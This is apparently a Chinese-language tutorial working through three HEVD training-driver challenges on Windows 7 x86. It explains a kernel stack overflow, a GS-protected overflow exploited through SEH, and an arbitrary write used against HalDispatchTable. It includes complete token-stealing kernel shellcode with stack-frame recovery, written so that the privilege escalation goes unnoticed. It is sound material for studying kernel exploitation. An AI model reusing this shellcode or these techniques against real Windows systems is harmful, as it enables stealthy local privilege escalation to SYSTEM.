前言
本篇文章针对于对windows内核驱动漏洞感兴趣,在用户态有一定漏洞研究基础,能写简单驱动的师傅阅读,重点会放在内核态和用户态利用方法的不同,以及对驱动安全开发的思考。我尽量在一个月内,做完HEVD所有题目,以后的标题就像《HEVD03-05》了,每次三道题左右。感谢大家的支持。
让我们开始吧
BufferOverflowStackIoctlHandler
漏洞成因
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
这是一个非常典型的栈溢出漏洞,其根源在于内核代码过度信任了来自用户态的输入——Size 字段直接由用户控制,从而实现了内核栈溢出。
此外,目标模块未启用 GS 安全机制(栈溢出检测),这进一步降低了利用难度。
由于这是系列中的第一个题目,主要目的是直观感受内核态与用户态的差异,因此实验环境选择 Windows 7 x86 SP1,不考虑 SMEP 等内核防护机制的影响。
利用分析
与用户态不同,内核里只要有一丁点错误,立刻就是蓝屏。用户态程序崩了,可能只是弹个报错对话框就结束了,后续没人管。但内核漏洞利用必须悄无声息地接管执行流程——不仅要完成提权,还得替原来的函数把该做的事做完,让系统感知不到异常。
以 shellcode 为例,它比用户态的 payload 多出了两部分关键内容:环境保存 和 栈恢复。
__declspec(naked) StackExpShellcode() {
__asm {
pushad
pushfd
mov eax, fs: [0x124] ;_KTHREAD
mov eax, [eax + 0x150] ;_EPROCESS
mov edi, eax
searchSystem:
mov eax, [eax + 0x0b8] ;ActiveProcessLinks
sub eax, 0x0b8
cmp [eax + 0x0b4], 4 ;UniqueProcessId
jne searchSystem
mov esi, eax
mov eax, [esi + 0x0f8] ;_TOKEN
mov [edi + 0x0f8], eax
popfd
popad
xor eax, eax
pop ebp
ret 8
}
}
具体来说,调用链是这样的:
IrpDeviceIoCtlHandler → BufferOverflowStackIoctlHandler → TriggerBufferOverflowStack
我们劫持的是 TriggerBufferOverflowStack 的返回地址。因此,shellcode 执行完毕后,必须把自己伪装成 TriggerBufferOverflowStack 刚刚正常返回的状态——恢复栈帧,让执行流顺畅地回到上一层。
如果像用户态那样,执行完 shellcode 就拍屁股走人,内核会瞬间陷入未定义行为:要么当场蓝屏,要么当前线程卡死。更严重的是,内核资源是全局共享的,一个 IRP 请求没被正确完成,整个内核的处理链条都会受牵连。
PAGE:0044517E _BufferOverflowStackIoctlHandler@8 proc near
PAGE:0044517E ; CODE XREF: IrpDeviceIoCtlHandler(x,x)+51↑p
PAGE:0044517E
PAGE:0044517E Irp = dword ptr 8
PAGE:0044517E IrpSp = dword ptr 0Ch
PAGE:0044517E
PAGE:0044517E push ebp
PAGE:0044517F mov ebp, esp
PAGE:00445181 mov eax, [ebp+IrpSp]
PAGE:00445184 mov ecx, 0C0000001h
PAGE:00445189 mov edx, [eax+10h]
PAGE:0044518C mov eax, [eax+8]
PAGE:0044518F test edx, edx
PAGE:00445191 jz short loc_44519C
PAGE:00445193 push eax ; Size
PAGE:00445194 push edx ; UserBuffer
PAGE:00445195 call _TriggerBufferOverflowStack@8 ; TriggerBufferOverflowStack(x,x)
PAGE:0044519A mov ecx, eax
PAGE:0044519C
PAGE:0044519C loc_44519C: ; CODE XREF: BufferOverflowStackIoctlHandler(x,x)+13↑j
PAGE:0044519C mov eax, ecx
PAGE:0044519E pop ebp
PAGE:0044519F retn 8
PAGE:0044519F _BufferOverflowStackIoctlHandler@8 endp
所以,来看 _BufferOverflowStackIoctlHandler 的实现细节。其中 call _TriggerBufferOverflowStack@8 指令执行后,返回地址正好落在 ebp 链上,栈布局非常规整。我们只要在 shellcode 里同步恢复 ebp、整理好栈帧,就能让被利用的调用路径平稳返回。最终,提权在不知不觉中完成,原驱动程序乃至整个系统都毫无察觉。
BufferOverflowStackGSIoctlHandler
漏洞成因
NTSTATUS
TriggerBufferOverflowStackGS(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
) {
NTSTATUS Status = STATUS_SUCCESS;
UCHAR KernelBuffer[BUFFER_SIZE] = { 0 };
PAGED_CODE();
__try
{
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
跟上一题类似,也是栈溢出,但是这道题有GS检查,可以考虑覆盖SEH来进行利用
利用分析
首先,让我们来看,一个正常的、触发一个异常的执行流程是什么(结合汇编分析)
push ebp
mov ebp, esp ; 开辟栈帧
push 0FFFFFFFEh ; TryLevel [ebp-4]
push offset stru_8B2024A8 ; ScopeTable [ebp-8]
push offset __except_handler4 ; Handler [ebp-c]
mov eax, large fs:0
push eax ; fs[0] [ebp-10]
add esp, 0FFFFFDE4h ; 开辟空间
mov eax, ___security_cookie
xor [ebp+ms_exc.registration.ScopeTable], eax
xor eax, ebp
mov [ebp-28], eax ; 加密
push ebx
push esi
push edi
push eax ; 保存易变寄存器
lea eax, [ebp-10h]
mov large fs:0, eax ; 注册SEH
mov [ebp-18h], esp
真实执行流程(重点):
Exception(Page Falut) -> IDT -> KiTrap0B -> CommonDispatchException -> ... -> __except_handler4 -> Truely Except(Yours)
按照我们用户态的经验,我们需要覆盖__except_handler4劫持函数执行流程,但是,__except_handler4是一个通用的异常处理分发函数,执行到这里的时候,我们不能直接抄Truely Except(Yours),此时的ebp和esp都是不正确的!
基于上面的解析,我们有三种方法伪装正常执行流程
- 打断点看
esp,只根据esp恢复栈帧
- 手动模拟
__except_handler4函数执行流程
关于方法二,我想出的方法是根据ebp链回溯,在windbg中手动解析得到
RegStackAddr = poi(poi(poi(poi(poi(ebp)))))-0x238
在exp中我的实现是方法一,见Shellcode:
__declspec(naked) StackGsExpShellcode() {
__asm {
pushad
pushfd
mov eax, fs: [0x124]
mov eax, [eax + 0x150]
mov edi, eax
}
searchSystem:
__asm {
mov eax, [eax + 0x0b8]
sub eax, 0x0b8
cmp[eax + 0x0b4], 4
jne searchSystem
mov esi, eax
mov eax, [esi + 0x0f8]
mov[edi + 0x0f8], eax
popfd
popad
xor eax, eax
add esp, 0x770
pop edi
pop esi
pop ebx
add esp, 0x22c
pop ebp
retn 8
}
}
小技巧:在函数开头保存ecx的时候就记住他们的地址,方便调试
ArbitraryWriteIoctlHandler
漏洞成因
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
) {
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try
{
ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
*(Where) = *(What);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
一个经典的任意地址写漏洞。
利用分析
如果说前面费尽心思恢复栈、寄存器十分压抑的话,那么这个win7x86任意地址写就比较简单了,不仅轻松劫持执行流程,还不用考虑恢复寄存器,处理IRP请求等等
利用思路:
- 利用
NtQuerySystemInformation函数泄露内核基址
- 任意地址写
HalDispatchTable中的函数
- 执行Shellcode
具体代码看附件吧,另外,一定要注意内核有很多个,名字不一定是ntoskrnl.exe
ArbitraryWriteIoctlHandler高版本分析
查了很多资料,都是讲的win7x86的利用。
在高版本有SMEP保护下,如果只有一次任意地址写的机会,甚至...连KASLR都绕不过,该怎么提权?
敬请期待我的下一篇文章《只有一次任意写,高版本win内核提权》。